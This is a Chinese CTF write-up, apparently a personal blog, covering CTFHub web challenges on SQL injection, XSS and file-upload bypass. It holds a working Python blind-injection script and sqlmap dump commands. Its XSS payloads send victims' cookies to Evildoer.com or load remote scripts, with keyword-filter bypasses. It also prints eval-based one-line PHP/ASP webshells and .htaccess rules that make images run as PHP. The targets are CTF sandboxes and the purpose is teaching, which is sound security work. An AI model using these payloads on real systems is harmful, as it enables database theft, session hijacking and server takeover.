5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
import requests
import time # 测试用的时间(这里不需要)

#你的url
urlOPEN = 'http://challenge-45c8b825d982f37a.sandbox.ctfhub.com:10800/?id='
starOperatorTime = []
mark = 'query_success' # 返回的mark,用于判断bool类型


def database_name():
name = ''
for j in range(1, 5):
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = urlOPEN + 'if(substr(database(),%d,1)="%s",1,(select table_name from information_schema.tables))' % (
j, i)
# print(url+'%23')
r = requests.get(url)
if mark in r.text:
name = name + i

print(name)

break
print('database_name:', name)


database_name()


def table_name():
list = []
for k in range(0, 4):
name = ''
for j in range(1, 9):
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = urlOPEN + 'if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' % (
k, j, i)
# print(url+'%23')
r = requests.get(url)
if mark in r.text:
name = name + i
break
list.append(name)
print('table_name:', list)


# start = time.time()
table_name()


def column_name():
list = []
for k in range(0, 3): # 判断表里最多有4个字段
name = ''
for j in range(1, 9): # 判断一个 字段名最多有9个字符组成
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = urlOPEN + 'if(substr((select column_name from information_schema.columns where table_name="flag"and table_schema= database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' % (
k, j, i)
r = requests.get(url)
if mark in r.text:
name = name + i
break
list.append(name)
print('column_name:', list)


column_name()


def get_data():
name = ''
for j in range(1, 50): # 判断一个值最多有51个字符组成
for i in range(48, 126):
url = urlOPEN + 'if(ascii(substr((select flag from flag),%d,1))=%d,1,(select table_name from information_schema.tables))' % (
j, i)
r = requests.get(url)
if mark in r.text:
name = name + chr(i)
print(name)
break
print('value:', name)


get_data()

1

3.sqlmap

再次强调神器一个好吧,无脑上面操作

因为原理都一样,sqlmap需要一点点时间进行爆破

因为已经知道的数据库名,表名,字段名,所以我这里直接搜就行了,如果想要一条一条看,在整数型注入的sqlmap有详细解释

1
python sqlmap.py -u "http://challenge-edf7e3fef5ffee34.sandbox.ctfhub.com:10080/?id=-1" -D sqli  -T flag  -C flag --dump
5.时间盲注
1.手工注入

时间盲注出现的本质原因也是由于服务器端拼接了 SQL语句,但是正确和错误存在同样的回显。错误信息被过滤,不过,可以通过页面响应时间进行按位判断数据。由于时间盲注中的函数是在数据库中执行的,因此在 CTF 比赛中关于时间盲注的题目比较少,原因在于 sleep 函数或者 benchmark 函数的过多执行会让服务器负载过高,再加上CTF 里面的一些“搅屎棍”的参与,会让题目挂掉。不过,有时候我们还是会在 CTF 中遇到这些题目,这里简单说一下注入的方法。

时间盲注类似于 Bool盲注,只不过是在验证阶段有所不同。Bool盲注是根据页面回显的不同来判断的,而时间盲注是根据页面响应时间来判断结果的。一般来说,延迟的时间可以根据客户端与服务器端之间响应的时间来进行选择,选择一个合适的时间即可。一般来说,时间盲注常用的函数有 sleep0和benchmark() 两个,具体说明如表:

函数名 功能及使用方法
sleep() sleep是睡眠函数,可以使查询数据时回显数据的响应时间加长。使用方法如sleep(N),这里的N为睡眠的时间。
使用时可以配合if进行使用。如:
if(ascii(substr(user(),1,1))=114,sleep(5),2)
这样的话。如果 user 的第一位是’r’,则页面返回将延迟5秒。这里需要注意的是,这5秒是在务器端的数据库中延迟的,实际情况可能会由于网络环境等因素延迟更长时间
benchmark() benchmark 函数原本是用来重复执行某个语句的函数,我们可以用这个函数来测试数据库的读写性能等。使用方法如下:
benchuark(N,expression)
其中,N为执行的次数,expression 为表达式。如果需要进行盲注,我们通常需要进行消耗时间和性能的计算,此如哈希计算函数MD5(),将MD5 函数重复执行数万次则可以达到延迟的效果,而具体的情况需要根据不同比赛的服务器性能及网络情况来决定

这个也是用脚本就行了,但是我是不推荐,直接用sqlmap就行了

2.sqlmap

因为已经知道的数据库名,表名,字段名,所以我这里直接搜就行了,如果想要一条一条看,在整数型注入的sqlmap有详细解释

1
python sqlmap.py -u "http://challenge-edf7e3fef5ffee34.sandbox.ctfhub.com:10080/?id=-1" -D sqli  -T flag  -C flag --dump
6.MySQL结构

说实话我没感觉什么特别的地方,就是和手工注入直接开干就行了

1.手工注入

1.看列的数量

1
-1 union select 1,database()

1

2.爆库

1
-1 union select 1,database()

3.爆表

1
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

4.爆字段名

1
-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='***'

5.爆数据

1
-1 union select 1,group_concat(flag) from sqli.flag

2.sqlmap

还是没什么好说的,值得注意的是,这个表名,字段名我们的都应该不一样,即不是sqli.flag.flag,这个需要自己查,还是参考整数型注入的sqlmap就行

7.Cookie注入

大佬写的很好

  1. 什么是cookie

    Cookie = 网站身份

    指某些网站为了辨别用户身份,进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密)。

    COOKIE: 客户端将用户名密码等信息给服务器,服务器返回用户身份对应的cookie给客户端,之后两人的身份认定,就靠cookie来进行。

    简单地说,当用户使用浏览器访问一个支持Cookie的网站的时候,用户会提供包括用户名在内的个人信息并且提交至服务器,服务器回传给用户这段个人信息的加密版本,这些信息并不存放在HTTP响应体(Response Body)中,而存放于HTTP响应头(Response Header)。

  2. cookie注入的原理

    就要修改cookie的值,我们是将提交的参数已cookie方式提交了,而一般的注入我们是使用get或者post方式提交,get方式提交就是直接在网址后面加上需要注入的语句,post则是通过表单方式,get和post的不同之处就在于一个我们可以通过IE地址栏处看到我们提交的参数,而另外一个却不能。

    相对post和get方式注入来说,cookie注入就要稍微繁琐一些了,要进行cookie注入,我们首先就要修改cookie,这里就需要使用到Javascript语言了。

    cookie注入的两个必须条件:

    条件1是:程序对get和post方式提交的数据进行了过滤,但未对cookie提交的数据库进行过滤。

    条件2是:在条件1的基础上还需要程序对提交数据获取方式是直接request(“xxx”)的方式,未指明使用request对象的具体方法进行获取,也就是说用request这个方法的时候获取的参数可以是是在URL后面的参数也可以是cookie里面的参数这里没有做筛选,之后的原理就像我们的sql注入一样了。

    cookie注入分为以下几个阶段:

    1. 判断是不是注入点
    2. 得到字段总数
    3. 查选表名
    4. 查选列名
    5. 查内容
1.burp

利用burp获取数据包,利用response模块进行cookie注入

进行修改cookie,其实还是手工注入

1.爆库

1
id = -1 union select, 1, database()

或者用

1
id = -1 union select 1, group_concat(schema_name) from information_schema.schemata

2.爆表

1
id = -1 union select 1, group_concat(table_name) from information_schema.tables where table_schema='sqli'

3.爆字段名

1
id = -1 select 1, group_concat(column_name) from information_shcema.columns where table_schema='sqli' and table_name='***'

4.爆数据

2.sqlmap

需要稍微修改一下参数

1
2
3
4
5
6
7
8
# 检测的级别(level), 级别,风险越高,对web造成的伤害性也就越高,常规为默认.(试想下,你帮客户做渗透,结果渗透没做好,把人家web给扫描出问题了....,如果黑客出于攻击行为来使用的话,肯定越高越好..个人理解..) 
#这里需要设置为2就行了

python sqlmap.py -u "http://challenge-38d00693d21d6ccc.sandbox.ctfhub.com:10080" --cookie "id=1" --dbs --level 2

python sqlmap.py -u "http://challenge-38d00693d21d6ccc.sandbox.ctfhub.com:10080" --cookie "id=1" -D sqli --tables --level 2

python sqlmap.py -u "http://challenge-38d00693d21d6ccc.sandbox.ctfhub.com:10080" --cookie "id=1" -D sqli -T frkadyqcec --columns --dump --level 2
8.UA注入

大佬写的很好,方法更多

User Agent 中文名为用户代理,简称 UA,它是一个特殊字符串头,使得服务器能够识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。

1.Burp

其实和cookie的差不多

1.爆库

1
-1 union select 1, database()

2.报表

1
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

3.爆字段名

1
-1 union select 1, group_concat(column_name) from information_shcema.columns where table_schema = 'sqli' and table_name='***'

4.爆数据

1
-1 union select 1, group_concat(***) from sqli.***

2.sqlmap

这次说实话我是不怎么建议用sqlmap了,扫的时间太长了。。。

1
2
3
4
5
python sqlmap.py -u http://challenge-0db4dfe24728939b.sandbox.ctfhub.com:10080/  --level 3 --dbs

python sqlmap.py -u http://challenge-0db4dfe24728939b.sandbox.ctfhub.com:10080/ --level 3 -D sqli --tables

python sqlmap.py -u http://challenge-0db4dfe24728939b.sandbox.ctfhub.com:10080/ --level 3 -D sqli -T ztoczxhmwd --columns --dump
9.Refer注入

关于http的refer参数
HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器籍此可以获得一些信息用于处理。比如从我主页上链接到一个朋友那里,他的服务器就能够从HTTP Referer中统计出每天有多少用户点击我主页上的链接访问他的网站。

如题,通过抓包软件分析后发现header里并没有referer这个参数,需要自己加上,下面是效果:
(注:本题使用的注入Payload都可以参考上一道题,其实都只是换了个注入的地方,注入的方式都是一样的)

1.爆库

1
-1 union select 1, database()

2.报表

1
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

3.爆字段名

1
-1 union select 1, group_concat(column_name) from information_shcema.columns where table_schema = 'sqli' and table_name='***'

4.爆数据

1
-1 union select 1, group_concat(***) from sqli.***

10.过滤空格

在一些题目中,我们发现出题人并没有对关键字进行过滤,反而对空格进行了过滤,这时候就需要用到下面这几种绕过方法。

1)通过注释绕过,一般的注释符有如下几个:

  • #
  • --
  • //
  • /**/
  • ;%00

这时候,我们就可以通过这些注释符来绕过空格符,比如:
select/**/username/**/from/**/user

下面几种方法是拓展内容,需要自行搜寻

2)通过URL编码绕过,我们知道空格的编码是 %20,所以可以通过二次 URL 编码进行
绕过:
%20 – %2520

3)通过空白字符绕过

4)通过特殊符号

5)科学计数法绕过

1.手工注入

知道原理后其实就是很简单的把空格换一下就行了

1.爆库

1
-1/**/union/**/select/**/1,database()

2.爆表

1
-1/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='sqli'

3.爆字段

1
-1/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='sqli'/**/and/**/table_name='rpaaurgzkh'

4.爆数据

1
-1/**/union/**/select/**/1,group_concat(***)/**/from/**/sqli.***

2.sqlmap

这次说实话我是不怎么建议用sqlmap了,扫的时间太长了。。。

CTFHub题解-技能树-Web-SQL注入(过滤空格)【四】 - 0yst3r - 博客园 (cnblogs.com)

1
2
3
python sqlmap.py -u "http://challenge-427e4b69b55064d9.sandbox.ctfhub.com:10080/?id=1" --dbs --tamper "space2comment.py" 
python sqlmap.py -u "http://challenge-427e4b69b55064d9.sandbox.ctfhub.com:10080/?id=1" -D "sqli" --tables --tamper "space2comment.py"
python sqlmap.py -u "http://challenge-427e4b69b55064d9.sandbox.ctfhub.com:10080/?id=1" -D "sqli" -T "dwthlcaucd" --dump --tamper "space2comment.py"
11.综合训练SQLI-LABS

这个其实就是著名sql注入网站(看到没有flag还是手贱好奇打开了浪费我50大洋😭)

可以自己搭着玩,我用Apache+PHP+Mysql一直因为php版本问题失败

可以试下这个下载Sqli-labs靶场搭建

这个博主提供的sqli-labs可以用php7(估计是把报错的函数全部修改了,太牛了😚)

我最后选择的还是Apache+PHP+Mysql,用的是博主的sqli-labs,除了博主的sqli-labs其他上网随便都能搜到教程

4.XSS

因为人们经常将跨站脚本攻击(Cross Site Scripting)缩写为CSS,但这会与层叠样式表(Cascading Style Sheets,CSS)的缩写混淆。因此,将跨站脚本攻击缩写为XSS。这就是XSS名字的由来。XSS攻击是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其他用户的使用界面中,通过代码所执行的不同行为,将Cookie或者其他信息发送给攻击者,攻击者可通过这些信息实施破坏或窃取有效信息为己用。

与 SQL 注入类似,XSS 也是利用提交恶意信息来实现攻击效果的攻击行为。但是 XSS 一般提交的是 Javascript 脚本,运行在 Web 前端,也就是用户的浏览器;而 SQL 注入提交的 SQL 指令是在后台数据库服务器执行。所以两者攻击的对象是不一样的。

XSS 按照攻击的手法,一般可以分为反射型 XSS(Reflected)、存储型 XSS(Strored)、DOM 型 XSS(DOM)。

0.xss平台

至于这个模块需要一个xss平台,我当时找到的要么要钱,要么注册需要邀请码,而且去找在线版的也不方便,不如就自己搭了一个,最上面的工具里面写了搭建方法(如果是在不会搭建,我搭建的可以借个你用但是我服务器到期时间24-03-25.,私信我)

注意需要一台服务器,我在本地也搭了一个,但是没有办法返回flag,问了一圈,有人告诉我是内网无法接收,我去查了原因,好像网关会拦截后者权限问题,有大佬懂请赐教

1.反射型

这篇博客写的挺详细CTFHub | 反射型-CSDN博客

1.初识反射型XSS

反射型XSS将用户输入的内容作为代码让浏览器执行达到攻击目的,一般需要让用户访问攻击者构造的URL。这种类型的攻击只发生在客户端上,并且需要从带有恶意脚本参数的特定URL进入,所以也称为非持久型XSS。

要使用反射型XSS,目标网页中要使用一个参数值作为动态显示到页面的数据,并且目标网页对该参数值没有进行有效的检验,这样,就能在URL中通过构造参数的方式插入XSS payload(恶意脚本),让用户在不知情的情况下点击URL,从而执行XSS payload。反射型XSS虽然只是一次性,但方便攻击者利用。

  • Cookie劫持

    现在,有一个攻击者“小黑”,他决定对一个用户“小锅”进行cookie劫持。假设有一个页面http://www.reflect_xss.com/test.html存在反射型XSS漏洞,小黑向小锅发送如下URL:

    1
    http://www.reflect_xss.com/test.html?msg=<script>var+img=document.createElement(“img”);+img.src=”http://www.Evildoer.com/”%2bescape(document.cookie);+document.appendChild(img)</script>

    当小锅毫无察觉地访问这个URL之后,他的cookie信息就会被发送到由小黑控制的 http://Evildoer.com站点上,小锅访问reflect_xss的令牌被小黑获悉。于是,小黑使用这个令牌而不需要密码就可以假冒小锅进入这个网站。

    如果小黑觉得这个URL太长,他可以将具体实现的脚本代码放在自己的http://www. http://Evildoer.com上,将URL改成:

    1
    http://www.reflect_xss.com/test.html?msg=<script+src=http://www.Evildoer.com/evil_script.js> </script>

    当这个URL被访问的时候,会加载一个恶意脚本http://Evildoer.com/evil_script.js](https://link.zhihu.com/?target=http%3A//Evildoer.com/evil_script.js),达到和上面方法一样的效果。事实上,小黑还可以对URL中的脚本进行URL编码,使其恶意意图看起来不那么明显。

  • Get请求

    Get/post是web请求的两种方式,用户通过这两类请求来进行数据的增删查改。假设有一个博客网站http://www.bloggg.com,上面每篇博客都有一个blogID,当用户对点击删除博客的按钮时,会发送如下请求:

    1
    http://www.bloggg.com/deleteBlog.do?blogID=123

    也就是说,只需要知道博客ID,已登录的用户通过请求这个URL就可以删除博客。小锅是这个博客网站的用户,他写了一篇博客(blogID=234567),小黑找到这篇博客的blogID,利用下面的XSS payload:

    1
    2
    3
    var img = document.createElement(‘img’);
    img.src = http://www.bloggg.com/deleteBlog.do?blogID=234567
    document.body.appendChild(img)

    当小锅不知不觉地执行了这个脚本之后,他的那篇博客就被删除了。这段代码首先创建了一个元素,然后为元素指定src,这个URL就是删除博客的接口。这里只是定义了元素,事实上这个请求未被执行。只有当第三行代码执行的时候,被添加到网页的DOM中,这个src属性才被访问,于是执行删除博客的请求。

  • Post请求

    Get请求将参数附在URL的尾部即可传递,与此不同的是,post请求的数据不显示在URL中,这避免重要数据轻易泄露。一般来说,可以通过form表单或XMLHttpRequest提交post请求。

    小黑想用小锅的账号发一条动态来欺骗他的关注者,这条动态包括心情状态(mood)和一段文本(m_text)。所以小黑写了一段脚本,往页面中插入一个表单:

    1
    2
    3
    4
    5
    6
    7
    8
    var evil_form = document.createElement(‘div’);
    document.body.appendChild(evil_form);
    evil_form.innerHTML = ‘<form action=http://www.bloggg.com/share_mood.do name=”mood_form” id=”evil_form”>’ +
    ‘<input type=”text” name=”mood” value=”happy”>’ +
    ‘<input type=”text” name=”m_text” value=”000000股票要飚了,买它!”>’ +
    </form>’

    document.getElementById(“evil_form”).submit();

    这个脚本实现了form表单的自动提交,如果为表单设置display:hidden,这个表单甚至可以没有在页面出现,小锅根本无法察觉。同理可以应用于各种嵌入标签。利用XMLHttpRequest对象也能够提交数据到指定接口。

  • 防御方式

    针对cookie劫持,最简单也很有效的方法是为敏感cookie设置一个HTTPOnly属性。设置了该属性的cookie项不能被脚本读取。这保护了敏感cookie不被劫持,也允许一些其他cookie可以被脚本读取使用。

    注入型的漏洞都是由于未经检查和处理就将用户可以控制的数据作为输出、作为代码执行,因此要对这样的数据进行检查。对于涉及HTML标签、JavaScript代码的字符和词汇进行编码,使之不直接以原始的形式出现,减少作为代码被执行的可能。

    这些漏洞能被利用的原因都是由于将数据当做代码执行,在编写代码的时候,要尽量做到两者的分离。对于输入数据,在JavaScript中要用引号包裹,同时使用JavaScriptEncode编码字符,防止攻击者将引号闭合。减少执行输入数据的操作,XSS攻击者就失去了很多攻击机会。

2.解题

先在第一个空填入

1
<script>alert(1)</script> #作用是弹出一个弹窗

发现能触发,那么大概率是由XSS漏洞的

在我们的xss平台有default.js模板,点击生成payload,输入到第一个空就行

我的js的左下角新增,选择default.js模板,选择插入模板,记得修改第一行填入你自己的ip(不要后面的admin.php)

这里我没有写出我的ip

输入之后把url输入到第二空

你的xss网站就会收到消息

3.总结

解释一下第一个空是用来产生我们可以操控而且可以被受害者访问的url的,第二个空就是用来让我们把恶意url发送给受害者让它访问的渠道的。服务器访问了我们带有xss的恶意url,运行了在xss平台服务器的脚本,所以才我们获取了它的cookie

2.存储型

存储型和反射性其实都差不多,唯一的差别就是payload是否会保存在目标服务器里面

最常见的就是留言板,个人信息,你填入的信息会被保存在数据库里面,当你填入的是payload的话,别人访问你的留言版时,服务器会从数据库运行payload,从而完成攻击

一句话来说就是就是使用者提交的XSS代码被存储到服务器上的数据库里或页面或某个上传文件里,导致用户访问页面展示的内容时直接触发xss代码。

比如说这题,你在第一空输入的值会被保存(即刷新浏览器不会改变,是因为第一次填入的值会发送给服务器,服务器进行保存,第二张图是用burp抓的包)

然后步骤和反射型一样

把payload输入到第一个输入框,并点击submit.(这个时候就相当于攻击者上传xss代码到服务器)

然后把靶场url复制到第二个输入框,点击send.(这个时候就相当于被攻击者点开链接)

最后,在XSS平台查看注入结果,即可得到flag。

3.DOM反射

DOM型xss和别的xss最大的区别就是它不经过服务器,仅仅是通过网页本身的JavaScript进行渲染触发的

1
&('#text')[0].innerHTML = '2' # 获取DOM树id=text数组的第一个

即我们可以利用闭环

输入

1
';</sript>+payload

把url写到第二空,xss平台就能看到flag了

4.DOM跳转

CTFHub XSS DOM跳转

老样子先看源码,发现script

1
2
3
4
5
6
7
8
9
location.search: #这是一个JavaScript对象,表示URL的查询部分(即“?”之后的部分)。例如,在URL "http://example.com/?jumpto=section2"中,location.search的值是"?jumpto=section2"。

split("=") # 这个方法用于将字符串按照给定的分隔符(在这里是等号“=”)分割成一个数组。在上述例子中,location.search.split("=")的结果是一个数组["?jumpto", "section2"]。

target[0].slice(1): #target[0]获取上述数组的第一个元素,即"?jumpto"。然后,slice(1)方法用于截取该字符串从第二个字符开始到最后的子字符串,也就是去掉第一个字符?。所以,target[0].slice(1)的结果是"jumpto"。

if(target[0].slice(1)=="jumpto"): #这是一个条件判断语句,检查经过处理的查询参数名是否为"jumpto"。

location.href=target[1]; # 如果上述条件为真,即查询参数名为"jumpto",则执行这行代码。这行代码将当前页面的URL设置为查询参数的值,即"section2"。在这个例子中,页面会跳转到"http://example.com/section2"。

注意!当你将类似于 location.href = “javascript:alert(‘xss’)” 这样的代码赋值给 location.href 时,浏览器会将其解释为一种特殊的URL方案,即 “javascript:”。在这种情况下,浏览器会将后面的 JavaScript 代码作为URL的一部分进行解析,然后执行它。

1
http://challenge-1ccc67ea8612a9b6.sandbox.ctfhub.com:10800?jumpto=javascript:alert(1)

这题我们需要把恶意url填入下面的空行,xss平台会返回flag

1
网站/?jumpto=javascript:&getScript("payload的ip就行")

ps:我在路径上面输入的话,xss平台并没有反应,按理来说是触发了脚本的,这里可能是因为访问失败?

5.过滤空格

这个挺简单的,联想到SQL注入时的过滤空格就行了,把空格化成注释就行了,步骤和上面一样

6.过滤关键字

这次直接浏览器输入payload,发现 script 被过滤掉了

碰到这种情况不要慌,下面给出两种方法绕过过滤关键字。

1.双写绕过

1
</textarea>'"><scrscriptipt src=http://xsscom.com//cZ2vvZ></scrscriptipt>

2.大小写绕过

1
</textarea>'"><Script src=http://xsscom.com//cZ2vvZ></scRipt>

然后就是去xss平台查看flag就行了( ̄︶ ̄)↗

5.文件上传

1.漏洞简介

web应用程序没有对上传的文件进行安全判断或者判断条件不够严谨,导致恶意攻击者可以上传木马脚本文件到服务器中,从而执行恶意代码。

2.风险点

注册/修改个人信息处(上传头像)

敏感身份认证处(身证照片/银卡照片/个人照片……)【多为金融/借贷应用】

订单评价反馈处(上传商品照片)【淘宝/京东……】

朋友圈/空间

所有能上传操作的地方……

3.漏洞危害

获取服务器WebShell权限

查看/上传/下载对方文件(任意操作对方服务器数据)

查看数据库信息(拖库)

执行命令

挂黑页(恶搞 / 报复)

0.前提知识
1.Webshell(大马)

我们经常会看到Webshell,那么,到底什么是Webshell呢?

webshell就是以 asp、aspx、php、jsp 或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp、aspx、php或jsp后门文件与网站web服务器目录下正常的网页文件混在一起,然后就可以使用浏览器来访问该后门文件了,从而得到一个命令执行环境,以达到控制网站服务器的目的。

PHP
PHP是一种跨平台的服务器端的嵌入式脚本语言。它大量地借用C、Java 和 Perl 语言的语法,并耦合PHP自己的特性,使WEB开发者能够快速地写出动态产生页面。它支持目前绝大多数数据库。还有一点,PHP是完全免费的,不用花钱,你可以从PHP官方站点自由下载。而且你可以不受限制地获得源码,甚至可以从中加进你自己需要的特色。PHP脚本语言的文件后缀名是 .php

JSP
JSP是Sun公司推出的新一代网站开发语言,Sun公司借助自己在Java上的不凡造诣,将Java从Java应用程序和JavaApplet之外,又有新的硕果,就是JSP,JavaServerPage。JSP可以在Serverlet和JavaBean的支持下,完成功能强大的站点程序。JSP脚本语言的文件后缀名是 .jsp

ASP
ASP全名ActiveServerPages,是MicroSoft公司开发的服务器端脚本环境,是一个WEB服务器端的开发环境,利用它可以产生和执行动态的、互动的、高性能的WEB服务应用程序。ASP采用脚本语言VBScript(Javascript)作为自己的开发语言。asp文件后缀名是 .asp

ASP.NET
ASP.net又称为ASP+,不仅仅是ASP的简单升级,而是微软公司推出的新一代脚本语言。他不是asp的简单升级,因为他的编程方法和asp有很大的不同,他是在服务器端靠服务器编译执行的程序代码。ASP 使用脚本语言,每次请求的时候,服务器调用脚本解析引擎来解析执行其中的程序代码,而ASP.NET 则可以使用多种语言编写,而且是全编译执行的,比ASP 快,而且,不仅仅是快的问题,有很多优点。ASP.NET基于.NET Framework的Web开发平台,不但吸收了ASP以前版本的最大优点并参照Java、VB语言的开发优势加入了许多新的特色,同时也修正了以前的ASP版本的运行错误。 他还支持很多语言的编写,比如java、c#、vb.net ,功能很强。 asp.net的文件后缀名是 .aspx

几者都提供在HTML代码中混合某种程序代码、由语言引擎解释执行程序代码的能力。但JSP代码被编译成Servlet并由Java虚拟机解释执行,这种编译操作仅在对JSP页面的第一次请求时发生。在ASP/ASP.NET、PHP、JSP环境下,HTML代码主要负责描述信息的显示样式,而程序代码则用来描述处理逻辑。普通的HTML页面只依赖于Web服务器,而ASP/ASP.NET、PHP、JSP页面需要附加的语言引擎分析和执行程序代码。程序代码的执行结果被重新嵌入到HTML代码中,然后一起发送给浏览器。ASP/ASP.NET、PHP、JSP几者都是面向Web服务器的技术,客户端浏览器不需要任何附加的软件支持。

顾名思义,“web”的含义是显然需要服务器开放web服务,“shell”的含义是取得对服务器某种程度上的操作权限。webshell常常被称为入侵者通过网站端口对网站服务器的某种程度上操作的权限。由于webshell其大多是以动态脚本的形式出现,也有人称之为网站的后门工具。

一方面,webshell被站长常常用于网站管理、服务器管理等等,根据FSO权限的不同,作用有在线编辑网页脚本、上传下载文件、查看数据库、执行任意程序命令等。

另一方面,被入侵者利用,从而达到控制网站服务器的目的。这些网页脚本常称为Web脚本木马,比较流行的asp或php木马,也有基于.NET的脚本木马与JSP脚本木马。

但是这里所说的木马都是些体积“庞大”的木马,也就是黑客中常称呼的" 大马 "。

2.一句话木马(小马)

因为上面所介绍webshell概念中提到的大马在现阶段的安全领域中已经被盯的非常紧了,而且各种杀毒软件和防火墙软件都对这种“大马”有了甄别能力,所以如果被渗透的web服务器中安装了防御软件的话,留下这种大马作为自己的webshell就非常困难了,于是一种新型的webshell就横空出世了,那就是一句话木马。

简单来说一句话木马就是通过向服务端提交一句简短的代码来达到向服务器插入木马并最终获得webshell的方法。对于不同的语言有不同的构造方法,基本构造是首先出现的是脚本开始的标记,后边跟着的 eval 或者是 execute 是核心部分,就是获取并执行后边得到的内容,而后边得到的内容,是 request 或者是 $_POST 获取的值。如果我们通过客户端向服务器发送,那么就会让服务器执行我们发送的脚本,挂马就实现了。

一些不同脚本语言的一句话木马

1
2
3
4
5
6
php一句话木马:  <?php @eval($_POST[value]); ?>
asp一句话木马: <%eval request ("value")%> 或 <% execute(request("value")) %>
aspx一句话木马: <%@ Page Language="Jscript" %> <% eval(Request.Item["value"]) %>

<?php fputs( fopen('xie.php','w') , '<? php eval($_POST[xie]) ?>' ) ; ?>
将当前目录下创建xie.php文件,并且将一句话木马写入xd.php中
3.一句话木马原理

拿php的一句话木马说明一下原理:

在PHP脚本语言中,eval(code) 的功能是将 code 组合成 php 指令,然后将指令执行,其他语言中也是使用此原理,只是函数可能不同。

1
<?php $a="phpinfo()"; eval("$a;");?>   #就相当于执行 phpinfo(); 语句。

当利用web中的漏洞将

1
<?php @eval($_POST[value]);?> 

一句话插入到了可以被黑客访问且能被web服务器执行的文件中时,那么我们就可以向此文件提交post数据,post方式提交数据的参数就是这个一句话中的 value,它就称为一句话木马的密码。这样提交的数据如果是正确的php语言的语句,那么就可以被一句话木马执行,从而达到黑客的恶意目的。

1.加了@后,访问上传文件的地址则不会进行报错

2.eval()函数是执行PHP代码的一个函数。意思就是eval函数里面如果是PHP代码,那么就可以执行。

3.$_POST[‘123’]是可以进行一个提交POST参数的操作

介绍了一句话木马的原理后,我们再来说下它的优缺点:

优点:短小精悍,功能强大。

缺点:容易被安全软件检测出来。为了增强隐蔽性,也出现了各种一句话木马的变形。

4.一句话木马的变形

黑客的目的,就是想尽办法给目标网站插入一句话木马,可以是一个单独的 .asp 或者是 .php,.aspx 文件,或者是隐藏在某些网页下。

在上边的例子中,php 文件很明显的 eval 可以成为一个静态特征码,webshell扫描工具可以以此为关键词,扫描到这种木马加以屏蔽。

资料参考:

Webshell和一句话木马

php、jsp、asp和aspx的区别-CSDN博客

1.无验证

其实整个过程就是利用一句话木马+蚁剑获取服务器权限,服务器通过限制一句话木马的上传来防御,我们要做的就是绕过

第一问无验证当然就没有限制了

首先编写php文件

上传

打开蚁剑,右键添加数据,URL是上传文件的地址,连接密码就是POST里面的

测试连接后记得点击保存(添加),然后点击链接就打开了

2.前端验证

当然还是先试试php能不能上传

(看到前端验证就想到js限制,打开f12果不其然)大概含义就是仅允许.jpg .png.gif文件上传

3个解决方案

1.禁用js

然后正常上传+蚁剑

2.删掉触发js的代码

onsubmit="return checkfilesuffix()"

然后正常上传+蚁剑

3.使用burp

将filename="2.php"改成filename=“2.png”,点击Intercept is on 放开拦截就能上传成功了

再用蚁剑就行了

3…htaccess

这里先了解一下什么是.htacces文件

.htaccess文件(或者"分布式配置文件")提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。

概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

简单来说,就是我上传了一个.htaccess文件到服务器,那么服务器之后就会将我想要的特定格式的文件以php格式解析。

先看下源码(上传限制没有.htaccess)

这里有两种编写.htaccess文件的方法

1.当请求的文件名后缀是"hacker"时,服务器会用PHP解释器来处理这个文件

1
2
3
4
5
6
7
8
9
10
11
#<FilesMatch "hacker">开始了一个匹配文件的条件。它告诉Apache服务器,只有当请求的文件名匹配到"hacker"时,才应用接下来的配置。

#在<FilesMatch>标签内部,SetHandler application/x-httpd-php是配置指令。SetHandler指令用于设置处理请求的程序或模块。在这个例子中,它告诉Apache服务器,当文件名匹配到"hacker"时,使用PHP解释器来处理这个文件。

#application/x-httpd-php是PHP解释器的MIME类型,它告诉服务器要使用PHP来解析和执行文件。

#最后,</FilesMatch>结束了文件匹配的条件,之后的配置指令将不再受此条件约束。

<FilesMatch "hacker">
SetHandler application/x-httpd-php
</FilesMatch>

2.使该.htaccess文件所在目录及其子目录中的后缀为.jpg的文件被Apache当做php文件

1
2
3
4
# AddType application/x-httpd-php .jpg是一个配置指令,用于设置文件的MIME类型。MIME类型是一种用于描述文件内容的标准,它告诉服务器如何处理特定的文件。

# application/x-httpd-php是PHP解释器的MIME类型。这意味着当Apache服务器接收到一个请求,并且请求的文件是.jpg时,它将尝试使用PHP解释器来处理这个文件。
AddType application/x-httpd-php .jpg

先上传.htaccess

后上传php文件就行了(记得改你用的方案的后缀)+蚁剑

不过提一嘴这个文件不是允许访问的

4.MIME绕过

Http请求中Content-Type

MIME((Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。

它是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。

